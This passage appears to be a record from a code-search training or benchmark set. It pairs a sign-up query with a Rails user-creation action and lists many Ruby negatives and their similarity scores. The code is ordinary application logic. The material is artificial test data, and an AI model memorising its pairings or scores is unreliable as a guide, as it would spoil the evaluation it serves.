is_used_somewhere = false\n all_modules.each do |uni_module|\n if uni_module.tags.include?(tag)\n is_used_somewhere = true\n end\n end\n if !is_used_somewhere\n logs = TagLog.all.where(:tag_id => tag.id)\n if logs.size >0\n logs.each do |log|\n log.destroy\n end\n end\n tag.destroy\n end\n end\n end", "def sanitize_children(children)\n children.reject{|node| node.name == \"text\" && node.content.strip.empty?}\n end", "def unset_all_tags\n @deployment.servers_no_reload.each do |s|\n # can't unset ALL tags, so we must set a bogus one\n s.tags = [{\"name\"=>\"removeme:now=1\"}]\n s.save\n end\n end", "def tag_empty_manifests\n empty = []\n tag_manifested_files.each do |f|\n empty.push f unless File.exist?(File.join(bag_dir, f))\n end\n empty\n end", "def empty?\n node.all('*').length.zero?\n end", "def tags_to_remove\n aws_tags.reject { |t, v| local_tags.include?(t) and local_tags[t] == v }\n end", "def unset_all_tags\n @servers.each do |s|\n # can't unset ALL tags, so we must set a bogus one\n s.tags = [{\"name\"=>\"removeme:now=1\"}]\n obj_behavior(s, :save)\n end\n end", "def clear\n each_child { |child| child.clear if child.kind_of?(BranchNode) }\n @children.clear\n end", "def delete_tags\n tags = self.tags\n tags.each do |tag|\n tag.destroy if tag.posts.count == 1\n end\n end", "def delempty(thing)\n if thing.respond_to?(:delete_if)\n if thing.kind_of? Hash\n thing.delete_if{|k,v| v.nil? || isempty(delempty(v)) || isempty(v)}\n else # assume single element iterable\n thing.delete_if{|elem| elem.nil? || isempty(delempty(elem)) || isempty(elem)}\n end\n end\n thing\n end", "def test_remove_all_bang\n setup_test_tree\n assert(@root.has_children?, \"Should have children\")\n @root.remove_all!\n\n assert(!@root.has_children?, \"Should have no children\")\n assert_equal(1, @root.size, \"Should have one node\")\n end", "def purge_unused_tags!\n unused_tags.each do |tag|\n logger.info(\"Purging tag '#{tag}'\")\n entries_with(label: tag).each do |entry|\n payload = Protocol::Device::SetTagLabels.new(tags: id_to_tags_field(entry.tag_id), label: '')\n context.send_message(target: Target.new(site_id: entry.site_id),\n payload: payload,\n acknowledge: true)\n end\n end\n Timeout.timeout(5) do\n while !unused_tags.empty?\n sleep 0.1\n end\n end\n end", "def empty_tag(name, attributes = nil)\n @nodes << EmptyHtmlNode.new(name, attributes)\n self\n end", "def remove_emptytext_below_blocknodes(nodes)\n nodes.each do |node|\n node.children.each {|c| c.unlink if c.text? and c.inner_text =~ /^\\s*$/ }\n end\nend", "def sanitized_tags\n @tags.select do |key, value|\n ALLOWED_TAG_KEY_TYPES.any? { |type| key.is_a? type } &&\n ALLOWED_TAG_VALUE_TYPES.any? { |type| value.is_a? type }\n end\n end", "def termdef_unnest_cleanup(xmldoc)\n desgn = \"//p/admitted | //p/deprecates | //p/preferred | //p//related\"\n nodes = xmldoc.xpath(desgn)\n while !nodes.empty?\n nodes[0].parent.replace(nodes[0].parent.children)\n nodes = xmldoc.xpath(desgn)\n end\n end", "def strip_tags_delicately\n self.gsub(/<.[^<]*>/, ' ')\n end", "def after_destroy\n tag.destroy_without_callbacks if tag and tag.taggings.count == 0\n end", "def tags_to_remove\n return @tags_to_remove\n end", "def strip_tag(*tags, &block)\n tags.each do |tag|\n gsub! Regexp.new(\"<\\s*#{tag}(?:\\s+[^>]*)*>(.*?)<\\s*\\/#{tag}\\s*>\", Regexp::IGNORECASE + Regexp:: MULTILINE) do\n if block\n \"#{$1}#{yield}\"\n else\n $1\n end\n end\n # check we don't have any malformed or nested instances left\n gsub! Regexp.new(\"<\\s*#{tag}(?:\\s+[^>]*)*>\", Regexp::IGNORECASE + Regexp:: MULTILINE), ''\n gsub! Regexp.new(\"<\\s*\\/#{tag}\\s*>\", Regexp::IGNORECASE + Regexp:: MULTILINE), ''\n end\n end", "def remove_empty_composition\n compositions.select { |composition| composition.percentage.nil? || composition.material.nil? }.each { |composition| composition.delete }\n end", "def retrieve_all_children\n self.to_be_removed = false\n self.save\n\n self.tags.each do |i|\n i.to_be_removed = false\n i.save\n end\n end", "def destroy_taggings\n Tagging.where(:tag_id => self.id).each do |tagging|\n tagging.not_orphans = true\n tagging.destroy\n end\n end", "def cleanup!\n self.reject! { |k, v| v.empty? }\n end", "def clear\n @root = nil\n @size = 0\n @header = Node.new(nil, nil, nil, nil)\n end", "def remove_preexisting_tagging\n user.taggings.find(:all, \n :conditions => { :tag_id => tag.id, :feed_item_id => feed_item.id, :classifier_tagging => classifier_tagging? }\n ).each(&:destroy)\n end", "def clean_document(hash)\n hash.delete_if do |_k, v|\n begin\n v.nil? || v.empty?\n rescue\n false\n end\n end\n end", "def clear!\n fields.each { |tag, field| self.__send__(\"#{field.name}=\", nil) }\n end", "def tags_empty?\n current_or_guest_user.owned_tags.empty?\n end", "def delete_tags(post_num_input, tags_input)\n tags_to_delete = tags_input.split(\" \")\n tags_to_delete.each do |y|\n BLOG[post_num_input].tags.delete_if {|x| x == y}\n end\n puts ''\n puts 'Your tags have been deleted'\n puts BLOG[post_num_input].tags\n puts ''\n end", "def tags_to_remove=(value)\n @tags_to_remove = value\n end", "def empty?\n @attrs.empty?\n end", "def normalize_blank_assigned_form_types\n # Nil any blank elements from the list\n self.form_type_ids = self.form_type_ids.collect! {|ftid| ftid == \"\" ? nil : ftid }\n # Remove the nil elements\n self.form_type_ids.compact!\n end", "def blank?(only_visible_tags = T.unsafe(nil)); end", "def empty\n @parent.gemset_empty\n end", "def clear\n raise TypeError, \"Must set agent= before using tag manager\" unless @agent\n @agent.update_tags([], tags)\n true\n end", "def clear_tag(tag)\n metafeta_store.delete(tag)\n end", "def delete_tag_if(&block); end", "def trim_tree tree\n unless @include_vars\n tree = tree.reject do |c|\n ['v'].include? c[:kind]\n end\n end\n tree\n end", "def remove_empty_default_nodes(jsondata)\n\n index_node = 0\n jsondata[\"site\"][\"node\"].each do | node |\n if node[\"node_name\"] =~ /^default.*/\n if node[\"tools\"].length <= 0\n jsondata[\"site\"][\"node\"].delete_at(index_node)\n end\n end\n index_node = index_node + 1\n end\n return jsondata\n end", "def sanitised_tags(xml)\n if xml.key?('tag')\n {:tags => _extract_tags(xml['tag'])}\n else\n {}\n end\n end", "def prune_empty_containers(parent)\n \n parent.children.reverse_each do |container|\n \n # recursively do the same\n prune_empty_containers(container)\n \n # If it is a dummy message with NO children, delete it.\n if dummy_message_without_children?(container)\n # delete container\n parent.remove_child(container)\n # If it is a dummy message with children, delete it \n elsif container.dummy? #&& ( not container.children.empty? )\n # Do not promote the children if doing so would make them\n # children of the root, unless there is only one child.\n if root?(parent) && container.children.size == 1\n promote_container_children_to_current_level(parent, container)\n elsif root?(parent) && container.children.size > 1\n # do not promote its children\n else\n promote_container_children_to_current_level(parent, container)\n end\n end\n end \n end", "def remove_empty_answers\n answers.each {|answer| answer.destroy if answer.data.blank? }\n end", "def prune\n # First: prune all children.\n self.each { |_, n| n.prune }\n # Then delete all nil leaf children.\n @succ.clone.each do |key, n|\n delete key if n.val == nil && n.leaf?\n end\n end", "def clear_children!\n @children.clear\n end", "def remove_nil_quantities\n\t\tself.order_contents.each do |order_content|\n\t\t\tif order_content.quantity <= 0\n\t\t\t\torder_content.destroy!\n\t\t\tend\n\t\tend\n\tend", "def delete_tags(name); end", "def check_if_unassigned\n if self.pattern_tags.size ==0\n self.destroy\n end\n end", "def empty?\n nodes.empty?\n end", "def update_children_when_delete\n if self.to_be_removed == true\n self.tag_types.each do |m|\n if m.to_be_removed == false\n m.to_be_removed = true\n m.save\n end\n end\n end\n end", "def clear_tag(key)\n meta.delete(key)\n end", "def deep_clean(data)\r\n proc = Proc.new { |k, v|\r\n if v.kind_of?(Hash) && !v.empty?\r\n v.delete_if(&proc)\r\n nil\r\n end\r\n v.nil? || v.empty?\r\n }\r\n hash.delete_if(&proc)\r\n end", "def removeTags(document,tagList)\n tagList.each do |tag|\n document.search(tag).remove\n end \n end", "def clear_node\n self.value = nil\n self.left_child = nil\n self.right_child = nil\n end", "def empty_shapes\n\t\t\t\tshapes.clear\n\t\t\tend", "def empty_unused_fields\n if @publication.scientific_article?\n # Empty fields specific to categories other than scientific_article\n @publication.book_title = ''\n @publication.book_authors = ''\n @publication.book_publisher = ''\n @publication.url = ''\n else\n # Empty fields specific to scientific_article\n @publication.journal_id = 0\n @publication.new_journal_name = ''\n @publication.DOI = ''\n @publication.volume = ''\n @publication.issue = ''\n @publication.pages = ''\n unless @publication.chapter?\n # Empty fields specific to book_chapter\n @publication.book_title = ''\n @publication.book_authors = ''\n end\n end\n end", "def tag_name\n ''\n end", "def remove_orphaned\n\t\tTaskTag.where([\n\t\t\t\"task_id NOT IN (?) OR task_id NOT IN (?)\",\n\t\t\tTask.pluck(\"id\"),\n\t\t\tTag.pluck(\"id\")\n\t\t]).destroy_all\n\tend", "def empty?\n @structure.empty?\n end", "def remove_empty_leaf\n case\n when @left.empty?\n @right.remove_empty_leaf\n when @right.empty?\n @left.remove_empty_leaf\n else\n self\n end\n end", "def nullContent\n if !(self.content.nil?) and self.content.length < 1\n self.content = nil\n end\n if !(self.category.nil?) and self.category.length < 1\n self.category = nil\n end\n if !(self.subtitle.nil?) and self.subtitle.length < 1\n self.subtitle = nil\n end\n end", "def untag(*tags)\n tags.each do |tag|\n run_context.node.tags.delete(tag)\n end\n end" ]
[ "0.67088604", "0.62291735", "0.6200493", "0.6150672", "0.6046417", "0.60385215", "0.6020291", "0.5999883", "0.5942662", "0.593657", "0.5911939", "0.577986", "0.57653075", "0.57636946", "0.5727941", "0.5725904", "0.56874764", "0.56865513", "0.56790555", "0.5589185", "0.5579459", "0.55268186", "0.5514695", "0.54982084", "0.547762", "0.5475816", "0.54596215", "0.5435208", "0.5430351", "0.54135257", "0.54135257", "0.54135257", "0.53997463", "0.5381971", "0.53710216", "0.5358374", "0.535633", "0.5354314", "0.5350713", "0.5340759", "0.5339649", "0.5336185", "0.52985233", "0.5297752", "0.52903306", "0.52851176", "0.52802104", "0.52738166", "0.52503026", "0.52333355", "0.52310455", "0.5221791", "0.5207989", "0.51994824", "0.51847255", "0.5179661", "0.5153776", "0.51529115", "0.5151708", "0.51501805", "0.51401514", "0.5132552", "0.5130553", "0.5130549", "0.51260555", "0.5118761", "0.5106303", "0.5104029", "0.5100438", "0.5079609", "0.50729525", "0.507029", "0.50648296", "0.50569844", "0.50550234", "0.50498796", "0.50463086", "0.5026246", "0.5024866", "0.5011732", "0.500265", "0.49935067", "0.4984663", "0.49828452", "0.49827728", "0.49823502", "0.49777892", "0.49759975", "0.4965445", "0.4960564", "0.49570933", "0.4955229", "0.49519718", "0.4949248", "0.49446383", "0.494362", "0.49400914", "0.49381116", "0.49362937", "0.49347746" ]
0.7883007
0
Whether Markdown implements the PHP Markdown extra syntax. Note: it is not guaranteed that if this is false, then no special features will be used.
def markdown_extra? true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def markdown?\n @use_markdown && markdown_processor\n end", "def markdown?\n defined?(RDiscount) or defined?(BlueCloth)\n end", "def markdown?\n defined?(RDiscount) or defined?(BlueCloth)\n end", "def latex?\n false\n end", "def tomdoc?\n @format == 'tomdoc'\n end", "def formatting_note\n if markdown?\n %(HTML and\n #{link_to(\"Markdown\",\n \"http://daringfireball.net/projects/markdown/basics\",\n :popup => true)}\n formatting supported)\n else \n \"HTML formatting supported\"\n end\n end", "def formatting_note\n if markdown?\n %(HTML and\n #{link_to(\"Markdown\",\n \"http://daringfireball.net/projects/markdown/basics\",\n :popup => true)}\n formatting supported)\n else \n \"HTML formatting supported\"\n end\n end", "def supported?\n PlainTextExtractor.supported_extensions.include?(self.ext_as_sym) unless ext_as_sym==:no_extension and !plain_text?\n end", "def export_footnotes?\n \"t\" == @options[\"f\"]\n end", "def paragraphs?\n false\n end", "def inline_example?\n check_assignment_or_regexp(:inline_example, InlineExampleRegexp)\n end", "def html?\n HTML_EXTENSIONS.include?(output_ext)\n end", "def html?\n HTML_EXTENSIONS.include?(output_ext)\n end", "def markup_processor_for?(editor)\n \"Refinery::Blog::PostProcessor::#{editor.camelize}\".constantize.kind_of?(Class)\n rescue\n false\n end", "def mixed_syntax?\n !/\n [><=^~]{1,2} # comparison operators\n \\s*\n \\d\\. # MAJOR\n (?:\n (?:x|\\*) # MINOR is wildcard\n |\n \\d\\.(?:x|\\*) # MINOR is digit and PATCH is wildcard\n )\n /x.match(requirement).nil?\n end", "def mixed_syntax?\n !/\n [><=^~]{1,2} # comparison operators\n \\s*\n \\d\\. # MAJOR\n (?:\n (?:x|\\*) # MINOR is wildcard\n |\n \\d\\.(?:x|\\*) # MINOR is digit and PATCH is wildcard\n )\n /x.match(requirement).nil?\n end", "def format_content?\n options[:format_content] != false\n end", "def use_markdown=(value)\n @use_markdown = value\n if value && !markdown_processor\n %W{rdiscount kramdown maruku bluecloth}.each do |lib|\n begin\n require lib\n break\n rescue LoadError\n end\n end\n end\n value\n end", "def supports_extensions?\n false\n end", "def supports_extensions?\n false\n end", "def emojiable?(doc)\n (doc.is_a?(Jekyll::Page) || doc.write?) &&\n doc.output_ext == \".html\" || (doc.permalink&.end_with?(\"/\"))\n end", "def ignore_extra_tokens?\n @ignore_extra_tokens\n end", "def is_paragraph_style?\n false\n end", "def has_preview?\n self.raw_content.include? \"<!-- more -->\"\n end", "def is_paragraph_style?\n true\n end", "def supported?\n if is_simple_format?\n return true\n elsif is_advanced_format?\n return is_supported_advanced_format?\n else\n return false\n end\n end", "def rich_format?\n true\n end", "def isatty()\n #This is a stub, used for indexing\n end", "def ruby_m17n?\n return true if \"\".respond_to? :encoding\nend", "def html_markup_markdown(text); end", "def inline?; false; end", "def inline?; false; end", "def supports_comments?\n false\n end", "def supports_comments?\n false\n end", "def semantic?\n !!(self =~ /^v?\\d+\\.\\d+\\.\\d+$/ ||\n self =~ /^v?\\d+\\.\\d+\\.\\d+\\.(dev|pre)\\d+$/\n )\n end", "def requires_like_escape?\n false\n end", "def comments_have_alignment?\n true\n end", "def unresolved_mark?(content)\n content.include? \"< .mine\" or content.include? \"> .r\"\n end", "def inlineable? sexp\n InlinedOperators.include? sexp[2]\n end", "def flex?\n false\n end", "def hpricot? ; false end", "def ruby?\n [C, CPlusPlus].any? { |language| self.language == language }\n end", "def notationdecl?\n @contents[0] == :notationdecl\n end", "def verbatim?(tikis)\n @sentences.include?(tikis) || @mentions.include?(tikis)\n end", "def has_yaml?\n content.start_with?(\"---\\n\") && content =~ /---(.|\\n)*---/\n end", "def MarkdownUsage(options = nil)\n MarkdownUsage.print(options)\nend", "def markup\n @markup ||= begin\n markups = %w(markdown textile rdoc org creole mediawiki rst asciidoc pod)\n markups.select! do |markup|\n markup =~ GitHub::Markup.class_variable_get(\"@@markups\").keys[0]\n end\n markups.first or raise \"No markups found! Please install a markup gem like 'redcarpet'.\"\n end\n end", "def abstract?\n @modifiers.include? :abstract\n end", "def supports_is_true?\n false\n end", "def use_github?\n !journal_biohackrxiv?\n end", "def formatted_post?\n post? && (post_format == :xml || post_format == :yaml)\n end", "def has_excerpt(input)\n input =~ /<!--\\s*more\\s*-->/i ? true : false\n end", "def enable_extended_mkcol?\n true\n end", "def grade_inline?\n false\n end", "def requires_liberty_extensions?\n false\n end", "def requires_liberty_extensions?\n false\n end", "def requires_liberty_extensions?\n false\n end", "def formatted_like?(path,markup)\n MARKUPS[markup].include?(File.extname(path))\n end", "def plain?\n mechanism == :plain\n end", "def is_character_style?\n false\n end", "def mixed?\n return true\n end", "def java?\n language == Java\n end", "def extension\n 'md'\n end", "def text?\n @format == 0\n end", "def jruby?\n JRUBY\n end", "def universal_psych_support?\n false || !syck_available?\n end", "def has_example?\n false\n end", "def markdown\n @markdown ||= process_markdown!\n end", "def parse_content?\n options[:parse_content] != false\n end", "def mixed?\n return false\n end", "def only_supports_ide?\n if node_type.is_virtual? and os_version and os_version.hvm_only?\n true\n else\n false\n end\n end", "def has_summary?(content)\n content.include?('<!-- more -->')\nend", "def emitted_by_psych?(string)\n (string =~ /\\A---\\n/) || (string =~ /\\n[.]{3}\\n\\z/)\n end", "def xhtml? \n opts[:tags][:tag_output_format_is_xhtml] ? ' />' : '>'\n end", "def is_character_style?\n true\n end", "def supports_directive?\n @name == '@supports'\n end", "def maybe_directives?; end", "def begin_math?\n return false unless include?('\\begin')\n literal_type = \"(?:#{math_environment_regex})\"\n match(/^\\s*\\\\begin{#{literal_type}}\\s*$/)\n end", "def uses_legacy_comments?\n end", "def extension_elidable?(feature)\n feature.to_s.end_with?(\".rb\", \".so\", \".o\", \".dll\", \".dylib\")\n end", "def verify_markup_options; end", "def markdownify(input); end", "def wysiwyg_editor_shown?(recognition)\n company = recognition.authoritative_company || @company\n recognition.input_format_html? || company.recognition_wysiwyg_editor_enabled?\n end", "def plain?\n mechanism == :plain\n end", "def author_worthy?\n notes?\n end", "def no_paragraph_tag?(text)\n text !~ /^\\<p/\n end", "def no_paragraph_tag?(text)\n text !~ /^\\<p/\n end", "def includes_definition?\n includes_arguments? || runnable? || argument_parsing_disabled? ||\n includes_modules? || includes_description?\n end", "def multiline?(node); end", "def extension?\n node.name == \"extend\"\n end", "def yaml_post?\n post? && post_format == :yaml\n end", "def quirks_mode?()\n #This is a stub, used for indexing\n end", "def html_view?\n !!self.__options[:html_view]\n end", "def in_editor?\n ENV.has_key?('TM_MODE') || ENV.has_key?('EMACS') || ENV.has_key?('VIM')\nend", "def simple_markdown(text)\n simple_format markdown text\n end", "def cnf?\n false\n end", "def readline_support?\n false\n end", "def generated_postscript?\n return false unless ['.ps', '.eps'].include? extname\n\n # We analyze the \"%%Creator:\" comment, which contains the author/generator\n # of the file. If there is one, it should be in one of the first few lines.\n creator = lines[0..9].find {|line| line =~ /^%%Creator: /}\n return false if creator.nil?\n\n # Most generators write their version number, while human authors' or companies'\n # names don't contain numbers. So look if the line contains digits. Also\n # look for some special cases without version numbers.\n return creator =~ /[0-9]/ ||\n creator.include?(\"mpage\") ||\n creator.include?(\"draw\") ||\n creator.include?(\"ImageMagick\")\n end", "def has_feat ( f )\n return false\n end", "def quirks_mode?()\n #This is a stub, used for indexing\n end" ]
[ "0.73895484", "0.7143385", "0.7143385", "0.6540442", "0.6231355", "0.6106636", "0.6106636", "0.6010146", "0.5995598", "0.59906477", "0.58403295", "0.5759053", "0.5759053", "0.57428753", "0.56916255", "0.56916255", "0.5666334", "0.5665314", "0.5660993", "0.5660993", "0.56527454", "0.5616991", "0.5615712", "0.5613439", "0.5549556", "0.55278194", "0.55214024", "0.5500046", "0.5496947", "0.54376876", "0.5426416", "0.5426416", "0.54036605", "0.54036605", "0.5403161", "0.5397309", "0.539517", "0.5391489", "0.5377689", "0.537126", "0.53668714", "0.5359536", "0.53509426", "0.53431445", "0.5336877", "0.53296167", "0.53257585", "0.5303715", "0.5295845", "0.52819395", "0.5273465", "0.5259722", "0.52548254", "0.5237117", "0.52361107", "0.52361107", "0.52361107", "0.52328235", "0.5232445", "0.52312773", "0.5230926", "0.5224593", "0.52236104", "0.52231073", "0.52210623", "0.52183354", "0.52181023", "0.52180666", "0.5210303", "0.5210125", "0.5207062", "0.52052", "0.52041435", "0.5189492", "0.51885945", "0.5182264", "0.5182238", "0.51794696", "0.51789504", "0.5177769", "0.51739734", "0.5171284", "0.51676583", "0.51655334", "0.5161122", "0.51569635", "0.51569635", "0.51541185", "0.5150651", "0.5150226", "0.51495284", "0.5125364", "0.51210195", "0.5112933", "0.5112472", "0.5107428", "0.5106067", "0.5101726", "0.5098346", "0.5093637" ]
0.8003012
0
Whether Markdown implements the new metadata proposal. Note: it is not guaranteed that if this is false, then no special features will be used.
def new_meta_data? true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def metadata?\n true\n end", "def metadata?\n true\n end", "def markdown_extra?\n true\n end", "def metadata?\n !!@metadata\n end", "def metadata?\n !!@metadata\n end", "def meta_description?\n meta_description.present?\n end", "def has_meta_description?\n !!meta_description\n end", "def is_known?\n describe ? true : false\n end", "def meta?\n @meta\n end", "def markdown?\n defined?(RDiscount) or defined?(BlueCloth)\n end", "def markdown?\n defined?(RDiscount) or defined?(BlueCloth)\n end", "def markdown?\n @use_markdown && markdown_processor\n end", "def cama_meta_tag_post_is_for_old_version?(post)\n !post.respond_to?(:manage_seo?)\n end", "def has_description?\n true\n end", "def include_meta_info\n true\n end", "def metadata?\n !@metadata.nil? && !@metadata.empty?\n end", "def tomdoc?\n @format == 'tomdoc'\n end", "def fully_documented?\n @fully_documented\n end", "def has_preview?\n self.raw_content.include? \"<!-- more -->\"\n end", "def metadata?\n check_assignment_or_regexp(:metadata, /^\\s*(CLOCK|DEADLINE|START|CLOSED|SCHEDULED):/)\n end", "def meta?\r\n self.class.meta?\r\n end", "def generic_meta_description?\n [truncate(document.title, length: 30, omission: nil.to_s), meta_description].map{|d| d.downcase.split}.reduce(&:&).size > 0\n end", "def datacite_metadata_changed? metadata=nil\n return true if datacite_document.nil?\n metadata||=doi_metadata\n metadata=JSON.parse(metadata.to_json) if metadata.key? :title\n old_metadata=JSON.parse(datacite_document)\n return metadata!=old_metadata\n end", "def author_worthy?\n notes?\n end", "def version?\n false\n end", "def documentation?\n @kind == :documentation\n end", "def external_metadata_file?\n false\n end", "def versionable?\n !respond_to?(:is_standard?) || !is_standard?\n end", "def generated_unity3d_meta?\n return false unless extname == '.meta'\n return false unless lines.count > 1\n return lines[0].include?(\"fileFormatVersion: \")\n end", "def meta_keywords?\n meta_keywords.present?\n end", "def supports_directive?\n @name == '@supports'\n end", "def semantic?\n !!(self =~ /^v?\\d+\\.\\d+\\.\\d+$/ ||\n self =~ /^v?\\d+\\.\\d+\\.\\d+\\.(dev|pre)\\d+$/\n )\n end", "def descriptor?\n true\n end", "def metadata_loaded?\n @metadata.to_bool\n end", "def supports_is_true?\n false\n end", "def paragraphs?\n false\n end", "def has_feat ( f )\n return false\n end", "def has_metadata?(data)\n return data.start_with?(\"\\1\\n\")\n end", "def supported?\n false\n end", "def export_footnotes?\n \"t\" == @options[\"f\"]\n end", "def detected?\n meta_yml_path = File.join(project_dir, \"META.yml\")\n meta_json_path = File.join(project_dir, \"META.json\")\n\n File.exist?(meta_yml_path) || File.exist?(meta_json_path)\n end", "def supports?\n raise \"Method 'supports?' must be defined\"\n end", "def supported?\n if is_simple_format?\n return true\n elsif is_advanced_format?\n return is_supported_advanced_format?\n else\n return false\n end\n end", "def supports?\n fail \"Method 'supports?' must be defined\"\n end", "def empty_meta_description?\n return meta_empty?(\"description\")\n end", "def special_metadata_tag?(key)\n tms?(key) || issue?(key) || [\n config.severity_tag,\n config.epic_tag,\n config.feature_tag,\n config.story_tag,\n *config.ignored_tags\n ].include?(key)\n end", "def abstract?\n @modifiers.include? :abstract\n end", "def supports?\n !@version.nil?\n end", "def one_nine?\n @comments.any? do |comment|\n comment['version'] == @spec.version and comment['works_for_me']\n end\n end", "def format_content?\n options[:format_content] != false\n end", "def info?\n false\n end", "def may_note?\n false\n end", "def described?\n if respond_to?(:described)\n self.described\n else\n false\n end\n end", "def supports_comments?\n false\n end", "def supports_comments?\n false\n end", "def estimable?\n story_type == 'feature' && !estimated?\n end", "def quirks_mode?()\n #This is a stub, used for indexing\n end", "def is_ref? ; !!metadata[:ref] ; end", "def contents_detected?\n true\n end", "def taggable?\n description['taggable'] == true\n end", "def quirks_mode?()\n #This is a stub, used for indexing\n end", "def has_version?\n return (@name != @metaname)\n end", "def meta_uri?\n return components.size == 1 && components[0] == 'cloudkit-meta'\n end", "def is_metadata? str\n match = [KVP,DELIM]\n return true if match.any? {|w| str.include? w}\n return false\n end", "def supported? docs_source\n fail NotImplementedError\n end", "def maintainable?\n Documentation.maintainable_for?(current_user)\n end", "def experimental?\n (@name.first == \"X\")\n end", "def enabled?\n @metadata.fetch(:enabled, true)\n end", "def required_data_provided?\n provided = false\n \n provided = self.content.present?\n \n return provided\n end", "def external_meta?\n parent_eol_pk.present?\n end", "def documented?\n super or\n (is_alias_for and is_alias_for.documented?) or\n (see and see.documented?)\n end", "def info?\n raise NotImplementedError.new\n end", "def use_github?\n !journal_biohackrxiv?\n end", "def embedded_one?\n metadata && metadata.macro == :embeds_one\n end", "def has_example?\n false\n end", "def have_model_design?\n\t\ttrue\n\tend", "def is_it_for_sure?\n @comments.any? do |comment|\n comment['version'] == @spec.version and comment['works_for_me']\n end\n end", "def has_summary?(content)\n content.include?('<!-- more -->')\nend", "def specification_identified?\n self.specification_attached? || !self.document_link.blank?\n end", "def contents_detected?\n !is_openatrium? && installed_version.major < 7 if super\n end", "def verbe?\n @is_verbe ||= @data_lemma && @data_lemma[:nature] == :verbe\n end", "def note?\n entry_type == :note\n end", "def supported?\n PlainTextExtractor.supported_extensions.include?(self.ext_as_sym) unless ext_as_sym==:no_extension and !plain_text?\n end", "def description?\n non_empty?(@description)\n end", "def has_remark?\n !remark_result.nil?\n end", "def is_citable document\n if document.respond_to?(:export_as_mla_citation_txt) || document.respond_to?(:export_as_apa_citation_txt)\n return true\n end\n end", "def detectable_contributors?\n true\n end", "def have_model_design?\n\t\t\ttrue\n\tend", "def general_remark_enabled?\n settings[:general_remarks] == \"1\"\n end", "def file_metadata_present?\n @file_metadata_present = !!file_metadata_before_type_cast.present? if @file_metadata_present.nil?\n end", "def is_modified?\n booleans = [ :presenter_share_only, :auto_start_audio, :auto_start_video ]\n others = [ :default_layout, :background ]\n booleans.any? { |method| !self.send(method).nil? } ||\n others.any? { |method| self.send(method).present? }\n end", "def documented?\n @received_nodoc or !@comment.empty?\n end", "def has_yaml?\n content.start_with?(\"---\\n\") && content =~ /---(.|\\n)*---/\n end", "def fully_documented?\n documented? and\n attributes.all? { |a| a.documented? } and\n method_list.all? { |m| m.documented? } and\n constants.all? { |c| c.documented? }\n end", "def is_customize_preview\n # TS_INFO: Customizer not implemented\n false\n end", "def meta_review_allowed?(dd)\n dd.deadline_type_id == DeadlineHelper::DEADLINE_TYPE_METAREVIEW\n end", "def specification_attached?\n self.eco_documents.detect { |d| d.specification? } != nil\n end", "def modified?\n new? || @content\n end", "def html_meta_if(name, content)\n %(<meta name=\"#{name}\" content=\"#{content}\">) if content\n end", "def has_meta_tag?(name, content)\n has_selector?(:xpath, \"/html/head/meta#{meta_tag_locator(name, content)}\", visible: false)\n end" ]
[ "0.7244055", "0.7207773", "0.69506896", "0.6908733", "0.6908733", "0.6695381", "0.6641814", "0.6551538", "0.65438735", "0.64475536", "0.64475536", "0.63714683", "0.6295641", "0.6146806", "0.6111198", "0.6092652", "0.60684633", "0.6060716", "0.6023925", "0.6020089", "0.6018995", "0.60118073", "0.5976408", "0.5973228", "0.5916039", "0.59084606", "0.58993125", "0.5899223", "0.58817077", "0.58727175", "0.5849936", "0.5838895", "0.5837694", "0.5802269", "0.5797618", "0.57573014", "0.57568026", "0.57368135", "0.5717846", "0.56928277", "0.5688279", "0.56699395", "0.56247175", "0.5624252", "0.5603524", "0.55946195", "0.55918735", "0.5590028", "0.55875325", "0.5560638", "0.5557328", "0.5554207", "0.55539966", "0.55311525", "0.55311525", "0.55236137", "0.5517534", "0.5516159", "0.5507789", "0.5498842", "0.5492721", "0.54877865", "0.5485472", "0.54835176", "0.5482115", "0.547228", "0.5471581", "0.54677206", "0.54637647", "0.5458116", "0.5456868", "0.5451465", "0.5450704", "0.5450595", "0.54504484", "0.54439", "0.54408646", "0.5434409", "0.5425783", "0.54226947", "0.5413793", "0.54052573", "0.5404859", "0.54047996", "0.53996277", "0.539673", "0.5391825", "0.5391095", "0.53846955", "0.53796786", "0.5377196", "0.5372633", "0.53667015", "0.5366142", "0.5360871", "0.5357605", "0.53506356", "0.5346234", "0.534506", "0.5343704" ]
0.6411983
11
Handles sign up submisison
def create @user = User.new(user_params) if @user.save redirect_to login_path else render :new end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def signup\n end", "def signup\n end", "def signup\n sign_out\n puts '----signup called.----'\n redirect_to '/users/sign_up'\n end", "def attemp_signup\n\n end", "def client_sign_up\n\n end", "def signup_info\n end", "def candidate_sign_up\n\n end", "def signup\n return set_session_user_id!(nil, 'Введите данные.') { render :signup_new } if params_valid?(:signup)\n LdapService.mutex.synchronize do\n ldap_result = LdapService.new.add(\n email: params[:email],\n password: params[:password],\n name: params[:name],\n surname: params[:surname],\n role: 'painter'\n )\n return set_session_user_id!(nil, 'Невозможно зарегистрироваться.') { render :signup_new } if ldap_result.blank?\n user = User.find_by(ldap_id: ldap_result[:ldap_id])\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.present?\n user = User.new(ldap_result)\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.save\n set_session_user_id!(nil, 'Возникли проблемы. Попробуйте еще раз.') { render :signup_new }\n end\n end", "def sign_up_candidate\n\n end", "def post_signup(req)\n # Create account\n identity = Lynr::Model::Identity.new(@posted['email'], @posted['email'])\n # Create and Save dealership\n dealer = create_dealership(identity, nil)\n notify('dealership.created.demo', req, dealer)\n # Send to admin pages?\n send_to_next(req) || send_to_admin(req, dealer)\n rescue Lynr::Persist::MongoUniqueError\n attempt_signin(req)\n end", "def sign_up(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n true\n end", "def do_signup\n hobo_do_signup do\n if this.errors.blank?\n #flash[:notice] << \"You must activate your account before you can log in. Please check your email.\"\n flash[:notice] << \" Your account has been created.\"\n\n # FIXME: remove these two lines after you get email working reliably\n # and before your application leaves its sandbox...\n #secret_path = user_activate_path :id=>this.id, :key => this.lifecycle.key\n #flash[:notice] << \"The 'secret' link that was just emailed was: <a id='activation-link' href='#{secret_path}'>#{secret_path}</a>.\"\n else\n flash[:notice] = @this.errors.full_messages.join(\"<br/>\")\n logger.info \"error is \" + flash[:notice]\n end\n\n end\n end", "def 